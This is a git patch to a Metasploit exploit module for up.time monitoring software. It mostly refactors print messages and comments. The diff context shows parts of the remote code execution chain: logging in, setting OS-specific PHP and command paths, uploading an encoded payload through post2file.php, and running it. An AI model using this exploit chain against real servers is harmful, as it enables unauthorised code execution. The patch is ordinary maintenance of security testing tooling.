From 01c2641c6b5f419b8e467aad17d78acc4ffa239e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 23 Oct 2015 16:27:52 -0500 Subject: [PATCH] Change print_* --- .../exploits/multi/http/uptime_code_exec.rb | 24 +++++++++++++------ 1 file changed, 17 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/uptime_code_exec.rb b/modules/exploits/multi/http/uptime_code_exec.rb index 68c1cea751..e707d884de 100644 --- a/modules/exploits/multi/http/uptime_code_exec.rb +++ b/modules/exploits/multi/http/uptime_code_exec.rb @@ -54,6 +54,18 @@ class Metasploit4 < Msf::Exploit::Remote ], self.class) end + def print_status(msg='') + super("#{rhost}:#{rport} - #{msg}") + end + + def print_error(msg='') + super("#{rhost}:#{rport} - #{msg}") + end + + def print_good(msg='') + super("#{rhost}:#{rport} - #{msg}") + end + # Application Check def check res = send_request_cgi( @@ -170,7 +182,7 @@ class Metasploit4 < Msf::Exploit::Remote def exploit vprint_status('Trying to login...') - # #Application Login + # Application Login res_auth = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), @@ -179,13 +191,13 @@ class Metasploit4 < Msf::Exploit::Remote 'password' => datastore['PASSWORD'] }) - # #Check OS # + # Check OS phpfile_name = rand_text_alpha(10) if res_auth && res_auth.headers['Server'] =~ /Unix/ vprint_status('Found Linux installation - Setting appropriated PATH') phppath = '/usr/local/uptime/apache/bin/php' uploadpath = '/usr/local/uptime/GUI/wizards' -## cmdargs = uploadpath + '/' + phpfile_name + '.txt' + cmdargs = "#{uploadpath}#{phpfile_name}.txt" cmd = phppath else @@ -193,7 +205,6 @@ class Metasploit4 < Msf::Exploit::Remote phppath = 'C:\\Program Files\\uptime software\\uptime\\apache\\php\\php.exe' uploadpath = 'C:\\Program Files\\uptime software\\uptime\\GUI\\wizards\\' cmd = 'c:\\windows\\system32\\cmd.exe' -## cmdargs = '/K "' + '"' + phppath + '" ' + '"' + uploadpath + '\\' + phpfile_name + '.txt' + '"' + '"' cmdargs = "/K \"\"#{phppath}\" \"#{uploadpath}#{phpfile_name}.txt\"\"" end @@ -294,7 +305,6 @@ class Metasploit4 < Msf::Exploit::Remote 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wizards', 'post2file.php'), 'vars_post' => { -## 'file_name' => phpfile_name + '.txt', 'file_name' => "#{phpfile_name}.txt", 'script' => payload.encoded } @@ -312,7 +322,7 @@ class Metasploit4 < Msf::Exploit::Remote print_error('File not found') end - # #Get Monitor ID + # Get Monitor ID vprint_status('Fetching Monitor ID...') res_mon_id = send_request_cgi( @@ -343,7 +353,7 @@ class Metasploit4 < Msf::Exploit::Remote } ) else - print_error("#{peer} - Cookie not found") + print_error('Cookie not found') end end end